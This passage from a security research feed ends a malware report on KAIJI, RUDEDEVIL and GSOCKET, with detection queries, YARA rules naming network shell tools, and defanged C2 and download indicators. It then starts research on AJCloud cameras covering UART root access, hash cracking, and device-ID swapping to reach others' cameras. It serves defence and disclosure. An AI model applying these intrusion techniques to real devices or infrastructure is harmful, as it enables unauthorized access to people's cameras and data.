</code></pre> <p><strong>Renice or Ulimit Execution</strong></p> <p>Several malwares, including KAIJI and RUDEDEVIL, leverage the renice utility to change the priority of processes or set resource limits for processes. This is commonly used by miner malware to increase the priority of mining processes to maximize the mining performance.</p> <pre><code>process where event.type == "start" and event.action == "exec" and ( process.name in ("ulimit", "renice") or ( process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : ("*ulimit*", "*renice*") ) ) </code></pre> <p><strong>Inexistent Cron(d) Service Started</strong></p> <p>Both KAIJI and RUDEDEVIL establish persistence through the creation of a <code>cron(d)</code> service in <code>/etc/init.d/cron(d)</code>. <code>Cron</code>, by default, does not use a <code>SysV Init</code> service. Execution of a <code>cron(d)</code> service is suspicious, and should be analyzed further.</p> <pre><code>process where event.type == "start" and event.action == "exec" and process.name == "systemctl" and process.args == "start" and process.args in ("cron.service", "crond.service", "cron", "crond") </code></pre> <p><strong>Suspicious /etc/ Process Execution from KAIJI</strong></p> <p>The <code>/etc/</code> directory is not a commonly used directory for process executions. KAIJI is known to place a binary called <code>32678</code> and <code>id.services.conf</code> in the <code>/etc/</code> directory, to establish persistence and evade detection.</p> <pre><code>process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*")) </code></pre> <p><strong>Hidden File Creation in /dev/ directory</strong></p> <p>Creating hidden files in <code>/dev/</code> and <code>/dev/shm/</code> are not inherently malicious, however, this activity should be uncommon. KAIJI, GSOCKET and other malwares such as <code>K4SPREADER</code> are known to drop hidden files in these locations.</p> <pre><code>file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*") </code></pre> <p><strong>Suspicious Process Execution from Parent Executable in /boot/</strong></p> <p>Malwares such as KAIJI and XORDDOS are known to place executable files in the <code>/boot/</code> directory, and leverage these to establish persistence while attempting to evade detection.</p> <pre><code>process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*" </code></pre> <h4>YARA</h4> <p>Elastic Security has created YARA rules to identify this activity. Below is the YARA rule to identify the custom <code>Apache2</code> malware:</p> <pre><code>rule Linux_Trojan_Generic { meta: author = "Elastic Security" creation_date = "2024-09-20" last_modified = "2024-09-20" os = "Linux" arch = "x86" threat_name = "Linux.Trojan.Generic" reference = "https://www.elastic.co/security-labs/betting-on-bots" license = "Elastic License v2" strings: $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B } $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 } $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C } $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 } $key = "yyyyyyyy" condition: 1 of ($enc*) and $key } </code></pre> <p>To detect GSOCKET, including several of its adjacent tools, we created the following signature:</p> <pre><code>rule Multi_Hacktool_Gsocket { meta: author = "Elastic Security" creation_date = "2024-09-20" last_modified = "2024-09-23" os = "Linux, MacOS" arch = "x86" threat_name = "Multi.Hacktool.Gsocket" reference = "https://www.elastic.co/security-labs/betting-on-bots" license = "Elastic License v2" strings: $str1 = "gsocket: gs_funcs not found" $str2 = "/share/gsocket/gs_funcs" $str3 = "$GSOCKET_ARGS" $str4 = "GSOCKET_SECRET" $str5 = "GS_HIJACK_PORTS" $str6 = "sftp -D gs-netcat" $str7 = "GS_NETCAT_BIN" $str8 = "GSOCKET_NO_GREETINGS" $str9 = "GS-NETCAT(1)" $str10 = "GSOCKET_SOCKS_IP" $str11 = "GSOCKET_SOCKS_PORT" $str12 = "gsocket(1)" $str13 = "gs-sftp(1)" $str14 = "gs-mount(1)" condition: 3 of them } </code></pre> <p>Finally, the following signature was written to detect the <a href="https://github.com/nicocha30/ligolo-ng">open source Ligolo-ng tool</a>, as we have reason to believe this tool was used during this intrusion.</p> <pre><code>rule Linux_Hacktool_LigoloNG { meta: author = "Elastic Security" creation_date = "2024-09-20" last_modified = "2024-09-20" os = "Linux" arch = "x86" threat_name = "Linux.Hacktool.LigoloNG" reference = "https://www.elastic.co/security-labs/betting-on-bots" license = "Elastic License v2" strings: $a = "https://github.com/nicocha30/ligolo-ng" $b = "@Nicocha30!" $c = "Ligolo-ng %s / %s / %s" condition: all of them } </code></pre> <h3>Defensive recommendations</h3> <p>To effectively defend against malware campaigns and minimize the risk of intrusion, it’s crucial to implement a multi-layered approach to security. Here are some key defensive measures you should prioritize:</p> <ol> <li><strong>Keep Your Elastic Detection Rules Updated and Enabled</strong>: Ensure that your security tools, including any pre-built detection rules, are up to date. Continuous updates allow your systems to detect the latest malware signatures and behaviors.</li> <li><strong>Enable Prevention Mode in Elastic Defend</strong>: Configure Elastic Defend in prevention mode to automatically block known threats rather than just alerting on them. Prevention mode ensures proactive defense against malware and exploits.</li> <li><strong>Monitor Alerts and Logs</strong>: Regularly monitor alerts, logs, and servers for any signs of suspicious activity. Early detection of unusual behavior can help prevent a small breach from escalating into a full-blown compromise.</li> <li><strong>Conduct Threat Hunting</strong>: Proactively investigate your environment for hidden threats that may have evaded detection. Threat hunting can uncover advanced attacks and persistent malware that bypass traditional security measures.</li> <li><strong>Implement Web Application Firewalls (WAFs)</strong>: Use a WAF to block unauthorized or malicious traffic. A properly configured firewall can prevent many common web attacks.</li> <li><strong>Enforce Strong Authentication for SSH</strong>: Use public/private key authentication for SSH access to protect against brute force attacks.</li> <li><strong>Write Secure Code</strong>: Ensure that all custom software, especially web server technology, follows secure coding practices. Engaging professional security auditors to review your code can help identify and mitigate vulnerabilities before they are exploited.</li> <li><strong>Regularly Patch and Update Systems</strong>: Keeping servers, applications, and software up to date is essential to defending against known vulnerabilities. Prompt patching minimizes the risk of being targeted by off-the-shelf exploits.</li> </ol> <p>By following these recommendations, you can significantly reduce the attack surface and strengthen your defense against ongoing or potential malware threats.</p> <h2>Observations</h2> <p>The following observables were discussed in this research. These are available for download in STIX or ECS format <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref6138">here</a>.</p> <table> <thead> <tr> <th>Observable</th> <th>Type</th> <th>Name</th> <th>Reference</th> </tr> </thead> <tbody> <tr> <td>72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f</td> <td>SHA-256</td> <td>SystemdXC</td> <td>XMRIG</td> </tr> <tr> <td>82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684</td> <td>SHA-256</td> <td>apache2</td> <td>apache2_unpacked</td> </tr> <tr> <td>0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54dd</td> <td>SHA-256</td> <td>apache2_upx_packed</td> <td>apache2_upx_packed</td> </tr> <tr> <td>9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449e</td> <td>SHA-256</td> <td>download.sh</td> <td>KAIJI Stager</td> </tr> <tr> <td>1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79</td> <td>SHA-256</td> <td>linux_386</td> <td>KAIJI x86</td> </tr> <tr> <td>d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8</td> <td>SHA-256</td> <td>linux_amd64</td> <td>KAIJI x64</td> </tr> <tr> <td>ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681b</td> <td>SHA-256</td> <td>linux_arm5</td> <td>KAIJI ARM5</td> </tr> <tr> <td>792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6</td> <td>SHA-256</td> <td>linux_arm6</td> <td>KAIJI ARM6</td> </tr> <tr> <td>e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4</td> <td>SHA-256</td> <td>linux_arm64</td> <td>KAIJI ARM64</td> </tr> <tr> <td>3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745</td> <td>SHA-256</td> <td>linux_arm7</td> <td>KAIJI ARM7</td> </tr> <tr> <td>fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0</td> <td>SHA-256</td> <td>linux_mips</td> <td>KAIJI MIPS</td> </tr> <tr> <td>6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55</td> <td>SHA-256</td> <td>linux_mips64</td> <td>KAIJI MIPS64</td> </tr> <tr> <td>0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814</td> <td>SHA-256</td> <td>linux_mips64el</td> <td>KAIJI MIPS64 little-endian</td> </tr> <tr> <td>310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988</td> <td>SHA-256</td> <td>linux_mips_softfloat</td> <td>KAIJI MIPS softfloat</td> </tr> <tr> <td>0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527</td> <td>SHA-256</td> <td>linux_mipsel</td> <td>KAIJI MIPS little-endian</td> </tr> <tr> <td>36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196</td> <td>SHA-256</td> <td>linux_mipsel_softfloat</td> <td>KAIJI MIPS little-endian softfloat</td> </tr> <tr> <td>3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344f</td> <td>SHA-256</td> <td>linux_ppc64</td> <td>KAIJI PPC64</td> </tr> <tr> <td>7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7</td> <td>SHA-256</td> <td>linux_ppc64el</td> <td>KAIJI PPC64 little-endian</td> </tr> <tr> <td>09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7</td> <td>SHA-256</td> <td>l64_v0</td> <td>RUDEDEVIL/LUFICER x64 version 0</td> </tr> <tr> <td>ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46</td> <td>SHA-256</td> <td>l64_v1</td> <td>RUDEDEVIL/LUFICER x64 version 1</td> </tr> <tr> <td>160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496a</td> <td>SHA-256</td> <td>l64_v2</td> <td>RUDEDEVIL/LUFICER x64 version 2</td> </tr> <tr> <td>89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055</td> <td>SHA-256</td> <td>l64_v3</td> <td>RUDEDEVIL/LUFICER x64 version 3</td> </tr> <tr> <td>20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941b</td> <td>SHA-256</td> <td>l86_v0</td> <td>RUDEDEVIL/LUFICER x86 version 0</td> </tr> <tr> <td>728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28c</td> <td>SHA-256</td> <td>l86_v1</td> <td>RUDEDEVIL/LUFICER x86 version 1</td> </tr> <tr> <td>47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40</td> <td>SHA-256</td> <td>l86_v2</td> <td>RUDEDEVIL/LUFICER x86 version 2</td> </tr> <tr> <td>e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5</td> <td>SHA-256</td> <td>l86_v3</td> <td>RUDEDEVIL/LUFICER x86 version 3</td> </tr> <tr> <td>d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60</td> <td>SHA-256</td> <td>hjvhg.exe</td> <td>Miner</td> </tr> <tr> <td>54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1de</td> <td>SHA-256</td> <td>mvhhvcp3.exe</td> <td>DONUT LOADER</td> </tr> <tr> <td>9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976</td> <td>SHA-256</td> <td>vdfgb.exe</td> <td>Miner</td> </tr> <tr> <td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/ifindyou">http://gcp.pagaelrescate[.]com:8080/ifindyou</a></td> <td>url</td> <td>ifindyou.sh</td> <td>Stage 1</td> </tr> <tr> <td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/cycnet">http://gcp.pagaelrescate[.]com:8080/cycnet</a></td> <td>url</td> <td>cycnet.sh</td> <td>Stage 2</td> </tr> <tr> <td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/testslot/enviador_slot">http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot</a></td> <td>url</td> <td>Enviador_slot.py</td> <td>Stage 3</td> </tr> <tr> <td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/t9r/SystemdXC">http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC</a></td> <td>url</td> <td>SystemdXC</td> <td>XMRIG</td> </tr> <tr> <td><a href="http://38.54.125%5B.%5D192:8080/nginx-rc">http://38.54.125[.]192:8080/nginx-rc</a></td> <td>url</td> <td>nginx-rc</td> <td>LIGOLO-NG</td> </tr> <tr> <td><a href="http://62.72.22%5B.%5D91/apache2">http://62.72.22[.]91/apache2</a></td> <td>url</td> <td>apache2</td> <td>Custom Malware</td> </tr> <tr> <td><a href="http://62.72.22%5B.%5D91/apache2v86">http://62.72.22[.]91/apache2v86</a></td> <td>url</td> <td>apache2v86</td> <td>Custom Malware</td> </tr> <tr> <td><a href="http://91.92.241%5B.%5D103:8002/gk.php">http://91.92.241[.]103:8002/gk.php</a></td> <td>url</td> <td>gk.php</td> <td>PHP Backdoor</td> </tr> <tr> <td><a href="http://hfs.t1linux%5B.%5Dcom:7845/scdsshfk">http://hfs.t1linux[.]com:7845/scdsshfk</a></td> <td>url</td> <td>scdsshfk</td> <td>XMRIG</td> </tr> <tr> <td>gcp.pagaelrescate[.]com</td> <td>domain-name</td> <td></td> <td>REF Hosting domain</td> </tr> <tr> <td>nishabii[.]xyz</td> <td>domain-name</td> <td></td> <td>RUDEDEVIL C2</td> </tr> <tr> <td>3.147.53[.]183</td> <td>ipv4-addr</td> <td></td> <td>Python Reverse Shell C2</td> </tr> <tr> <td>38.54.125[.]192</td> <td>ipv4-addr</td> <td></td> <td>C2 Server</td> </tr> <tr> <td>107.178.101[.]245</td> <td>ipv4-addr</td> <td></td> <td>Malware File Server (Rejetto)</td> </tr> <tr> <td>62.72.22[.]91</td> <td>ipv4-addr</td> <td></td> <td>Server Hosting Malware</td> </tr> <tr> <td>91.92.241[.]103</td> <td>ipv4-addr</td> <td></td> <td>C2 Server</td> </tr> <tr> <td>61.160.194[.]160</td> <td>ipv4-addr</td> <td></td> <td>Server Hosting Malware</td> </tr> <tr> <td>41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL</td> <td>XMR Wallet</td> <td></td> <td>RUDEDEVIL/LUFICER mining wallet</td> </tr> <tr> <td>42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc</td> <td>XMR Wallet</td> <td></td> <td>RUDEDEVIL/LUFICER mining wallet</td> </tr> <tr> <td>1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz</td> <td>BTC Wallet</td> <td></td> <td>XMRIG mining wallet</td> </tr> </tbody> </table> <h2>References</h2> <p>The following were referenced throughout the above research:</p> <ul> <li><a href="https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html">https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html</a></li> <li><a href="https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/">https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/</a></li> <li><a href="https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities">https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities</a></li> <li><a href="https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/">https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/</a></li> <li><a href="https://github.com/hackerschoice/gsocket">https://github.com/hackerschoice/gsocket</a></li> </ul>]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/betting-on-bots/betting-on-bots.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Storm on the Horizon: Inside the AJCloud IoT Ecosystem]]></title> <link>https://www.elastic.co/security-labs/storm-on-the-horizon</link> <guid>storm-on-the-horizon</guid> <pubDate>Fri, 20 Sep 2024 00:00:00 GMT</pubDate> <description><![CDATA[Wi-Fi cameras are popular due to their affordability and convenience but often have security vulnerabilities that can be exploited.]]></description> <content:encoded><![CDATA[<h2>Introduction</h2> <p>Wi-Fi cameras are some of the most common IoT devices found in households, businesses, and other public spaces. They tend to be quite affordable and provide users with easy access to a live video stream on their mobile device from anywhere on the planet. As is often the case with IoT devices, security tends to be overlooked in these cameras, leaving them open to critical vulnerabilities. If exploited, these vulnerabilities can lead to devastating effects on the cameras and the networks within which they’re deployed. They can lead to the compromise of the sensitive PII of their users.</p> <p>A recent <a href="https://www.youtube.com/watch?v=qoojLdKJvkc">Elastic ON Week</a> afforded us the opportunity to explore the attack surface of these types of devices to gain a deeper understanding of how they are being compromised. We focused primarily on performing vulnerability research on the <a href="https://www.amazon.com/Wireless-Security-Wansview-Detection-Compatible/dp/B07QKXM2D3?th=1">Wansview Q5</a> (along with the nearly identical <a href="https://www.wansview.com/q6">Q6</a>), one of the more popular and affordable cameras sold on Amazon. Wansview is a provider of security products based in Shenzhen, China, and one of Amazon's more prominent distributors of Wi-Fi cameras.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image12.png" alt="" title="image_tooltip" /></p> <p>The Q5 offers the same basic feature set seen in most cameras:</p> <ul> <li>Pan / tilt / zoom</li> <li>Night vision</li> <li>Two-way audio</li> <li>Video recording to SD card</li> <li>Integration with Smart Home AI assistants (e.g. Alexa)</li> <li>ONVIF for interoperability with other security products</li> <li>RTSP for direct access to video feed within LAN</li> <li>Automated firmware updates from the cloud</li> <li>Remote technical support</li> <li>Shared device access with other accounts</li> <li>Optional monthly subscription for cloud storage and motion detection</li> </ul> <p>Like most other Wi-Fi cameras, these models require an active connection to their vendor cloud infrastructure for basic operation; without access to the Internet, they simply will not operate. Before a camera can go live, it must be paired to a <a href="https://www.youtube.com/watch?v=UiF7xKnXfC0">registered user account</a> via Wansview’s official mobile app and a standard <a href="https://youtu.be/PLMNKoO1214?si=G8sYxT3EagE3u_cw">QR code-based setup process</a>. Once this process is complete, the camera will be fully online and operational.</p> <h2>AJCloud: A Brief Introduction</h2> <p>Though Wansview has been in operation <a href="https://www.wansview.com/about_company">since 2009</a>, at the moment they primarily appear to be a reseller of camera products built by a separate company based in Nanjing, China: <a href="https://www.ajcloud.net">AJCloud</a>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image19.png" alt="" title="image_tooltip" /></p> <p>AJCloud provides vendors with access to manufactured security devices, the necessary firmware, mobile and desktop user applications, the cloud management platform, and services that connect everything together. Since AJCloud was founded in 2018, they have partnered with several vendors, both large and small, including but not limited to the following:</p> <ul> <li><a href="https://www.wansview.com">Wansview</a></li> <li><a href="https://cinnado.com">Cinnado</a></li> <li><a href="https://www.amazon.com/stores/GALAYOU/page/789538ED-82AC-43AF-B676-6622577A1982?ref_=ast_bln&store_ref=bl_ast_dp_brandLogo_sto">Galayou</a></li> <li><a href="https://www.faleemi.com">Faleemi</a></li> <li><a href="https://www.philips.com">Philips</a></li> <li><a href="https://www.septekon.com">Septekon</a></li> <li><a href="https://www.smarteyegroup.com">Smarteye</a></li> <li><a href="http://www.homeguardworld.com">Homeguard</a></li> <li><a href="https://ipuppee.com">iPupPee</a></li> </ul> <p>A cursory review of mobile and desktop applications developed and published by AJCloud on <a href="https://play.google.com/store/apps/developer?id=AJCLOUD+INTERNATIONAL+INC.&hl=en_US">Google Play</a>, <a href="https://apps.apple.com/us/developer/ajcloud-labs-inc/id1396464400">Apple’s App Store</a>, and the <a href="https://apps.microsoft.com/search/publisher?name=%E5%8D%97%E4%BA%AC%E5%AE%89%E5%B1%85%E4%BA%91%E4%BF%A1%E6%81%AF%E6%8A%80%E6%9C%AF%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&hl=en-us&gl=US">Microsoft Store</a> reveals their ties to each of these vendors. Besides superficial company branding, these applications are identical in form and function, and they all require connectivity with the AJCloud management platform.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image26.png" alt="" title="image_tooltip" /></p> <p>As for the cameras, it is apparent that these vendors are selling similar models with only minor modifications to the camera housing and underlying hardware.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image16.png" alt="" title="image_tooltip" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image9.png" alt="" title="image_tooltip" /></p> <p>The resemblance between the <a href="https://www.faleemi.com/product/fsc886/">Faleemi 886</a> and the <a href="https://www.youtube.com/watch?v=X5P5fGhRxAs">Wansview Q6 (1080p)</a> is obvious</p> <p>Reusing hardware manufacturing and software development resources likely helps to control costs and simplify logistics for AJCloud and its resellers. However, this streamlining of assets also means that security vulnerabilities discovered in one camera model would likely permeate all products associated with AJCloud.</p> <p>Despite its critical role in bringing these devices to consumers, AJCloud has a relatively low public profile. However, IPVM researchers recently <a href="https://ipvm.com/reports/ajcloud-wansview-leak">published</a> research on a significant vulnerability (which has since been resolved) in AJCloud’s GitLab repository. This vulnerability would allow any user to access source code, credentials, certificates, and other sensitive data without requiring authentication.</p> <p>Though total sales figures are difficult to derive for Wansview and other vendors in the Wi-Fi camera space, IPVM estimated that at least one million devices were connected to the AJCloud platform at the time of publication of their report. As camera sales <a href="https://www.statista.com/forecasts/1301193/worldwide-smart-security-camera-homes">continue to soar</a> into the hundreds of millions, it is safe to assume that more of AJCloud’s devices will be connected in homes across the world for years to come.</p> <h2>Initial Vulnerability Research Efforts</h2> <p>To gain a deeper understanding of the security posture of the Wansview Q5, we attacked it from multiple angles:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image23.png" alt="" title="image_tooltip" /></p> <p>At first, our efforts were primarily focused on active and passive network reconnaissance of the camera and the <a href="https://play.google.com/store/apps/details?id=net.ajcloud.wansviewplus&hl=en_US">Android version</a> of Wansview Cloud, Wansview’s official mobile app. We scanned for open ports, eavesdropped on network communications through man-in-the-middle (MitM) attacks, attempted to coerce unpredictable behavior from the cameras through intentional misconfiguration in the app, and disrupted the operation of the cameras by abusing the QR code format and physically interacting with the camera. The devices and their infrastructure were surprisingly resilient to these types of surface-level attacks, and our initial efforts yielded few noteworthy successes.</p> <p>We were particularly surprised by our lack of success intercepting network communications on both the camera and the app. We repeatedly encountered robust security features (e.g., certificate pinning, app and OS version restrictions, and properly secured TLS connections) that disrupted our attempts.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image13.png" alt="" title="image_tooltip" /></p> <p>Reverse engineering tools allowed us to analyze the APK much more closely, though the complexity of the code obfuscation observed within the decompiled Java source code would require an extended length of time to fully piece together.</p> <p>Our limited initial success would require us to explore further options that would provide us with more nuanced insight into the Q5 and how it operates.</p> <h2>Initial Hardware Hacking</h2> <p>To gain more insight into how the camera functioned, we decided to take a closer look at the camera firmware. While some firmware packages are available online, we wanted to take a look at the code directly and be able to monitor it and the resulting logs while the camera was running. To do this, we first took a look at the hardware diagram for the system on a chip (SoC) to see if there were any hardware avenues we might be able to leverage. The Wansview Q5 uses a <a href="https://www.cnx-software.com/2020/04/26/ingenic-t31-ai-video-processor-combines-xburst-1-mips-and-risc-v-lite-cores/">Ingenic Xburst T31 SoC</a>, its system block diagram is depicted below.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image4.png" alt="" title="image_tooltip" /></p> <p>One avenue that stood out to us was the I2Cx3/UARTx2/SPIx2 SPI I/O block. If accessible, these I/O blocks often provide log output interfaces and/or shell interfaces, which can be used for debugging and interacting with the SoC. Appearing promising, we then performed a hardware teardown of the camera and found what appeared to be a UART serial interface to the SoC, shown below.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image15.png" alt="" title="image_tooltip" /></p> <p>Next, we connected a logic analyzer to see what protocol was being used over these pins, and when decoded, the signal was indeed UART.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image33.png" alt="" title="image_tooltip" /></p> <p>Now that we can access an exposed UART interface, we then looked to establish a shell connection to the SoC via UART. There are a number of different software mechanisms to do this, but for our purposes we used the Unix utility <code>screen</code> with the detected baud rate from the logic analyzer.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image11.png" alt="" title="image_tooltip" /></p> <p>Upon opening and monitoring the boot sequence, we discovered that secure boot was not enabled despite being supported by the SoC. We then proceeded to modify the configuration to boot into single user mode providing a root shell for us to use to examine the firmware before the initialization processes were performed, shown below.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image29.png" alt="" title="image_tooltip" /></p> <p>Once in single-user mode, we were able to pull the firmware files for static analysis using the <code>binwalk</code> utility, as shown below.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image32.png" alt="" title="image_tooltip" /></p> <p>At this stage, the filesystem is generally read-only; however, we wanted to be able to make edits and instantiate only specific parts of the firmware initialization as needed, so we did some quick setups for additional persistence beyond single-user mode access. This can be done in a number of ways, but there are two primary methods one may wish to use. Generally speaking, in both approaches, one will want to make as few modifications to the existing configuration as possible. This is generally preferred when running dynamic analysis if possible, as we have had the least impact on the run time environment. One method we used for this approach is to make a <code>tmpfs</code> partition for read/write access in memory and mount it via <code>fstab</code>. In our case <code>fstab</code> was already considered in such a way that supported this, and as such made it a very minimal change. See the commands and results for this approach below.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image17.png" alt="" title="image_tooltip" /></p> <p>Another method is to pull existing user credentials and attempt to use these to log in. This approach was also successful. The password hash for the root user can be found in the <code>etc/passwd</code> file and decrypted using a tool like John the Ripper. In our above examples, we were transferring data and files entirely over the serial connection. The camera also has an available SD card slot that can be mounted and used to transfer files. Going forward, we will be using the SD card or local network for moving files as the bandwidth makes for faster and easier transfer; however, serial can still be used for all communications for the hardware setup and debugging if preferred.</p> <p>Now, we have root level access to the camera providing access to the firmware and dmesg logs while the software is running. Using both the firmware and logs as reference, we then looked to further examine the user interfaces for the camera to see if there was a good entry point we could use to gain further insight.</p> <h2>Wansview Cloud for Windows</h2> <p>After the mobile apps proved to be more secure than we had originally anticipated, we shifted our focus to an older version of the Wansview Cloud application built for Windows 7. This app, which is still <a href="https://www.wansview.com/support_download">available for download</a>, would provide us with direct insight into the network communications involved with cameras connected to the AJCloud platform.</p> <p>Thanks in large part to overindulgent debug logging on behalf of the developers, the Windows app spills out its secrets with reckless abandon seldom seen in commercial software. The first sign that things are amiss is that user login credentials are logged in cleartext.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image24.png" alt="" title="image_tooltip" /></p> <p>Reverse engineering the main executable and DLLs (which are not packed, unlike the Wansview Cloud APK) was expedited thanks to the frequent use of verbose log messages containing unique strings. Identifying references to specific files and lines within its underlying codebase helped us to quickly map out core components of the application and establish the high level control flow.</p> <p>Network communications, which were difficult for us to intercept on Android, are still transmitted over TLS, though they are conveniently logged to disk in cleartext. With full access to all HTTP POST request and response data (which is packed into JSON objects), there was no further need to pursue MitM attacks on the application side.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image8.png" alt="POST request to https://sdc-portal.ajcloud.net/api/v1/app-startup" title="POST request to https://sdc-portal.ajcloud.net/api/v1/app-startup" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image25.png" alt="POST response from https://sdc-portal.ajcloud.net/api/v1/app-startup" title="POST response from https://sdc-portal.ajcloud.net/api/v1/app-startup" /></p> <p>Within the POST responses, we found sensitive metadata including links to publicly accessible screen captures along with information about the camera’s location, network configuration, and its firmware version.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image1.jpg" alt="https://cam-snapshot-use1.oss-us-east-1.aliyuncs.com/f838ee39636aba95db7170aa321828a1/snapshot.jpeg" title="https://cam-snapshot-use1.oss-us-east-1.aliyuncs.com/f838ee39636aba95db7170aa321828a1/snapshot.jpeg" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image10.png" alt="POST response from https://cam-gw-us.ajcloud.net/api/v1/fetch-infos" title="POST response from https://cam-gw-us.ajcloud.net/api/v1/fetch-infos" /></p> <p>After documenting all POST requests and responses found within the log data, we began to experiment with manipulating different fields in each request in an attempt to access data not associated with our camera or account. We would eventually utilize a debugger to change the deviceId to that of a target camera not paired with the current logged in account. A camera deviceId doubles as its serial number and can be found printed on a sticker label located on either the back or bottom of a camera.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image2.png" alt="" title="image_tooltip" /></p> <p>We found the most appropriate target for our attack in a code section where the deviceId is first transmitted in a POST request to <a href="https://sdc-us.ajcloud.net/api/v1/dev-config">https://sdc-us.ajcloud.net/api/v1/dev-config</a>:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image31.png" alt="" title="image_tooltip" /></p> <p>Our plan was to set a breakpoint at the instruction highlighted in the screenshot above, swap out the deviceId within memory, and 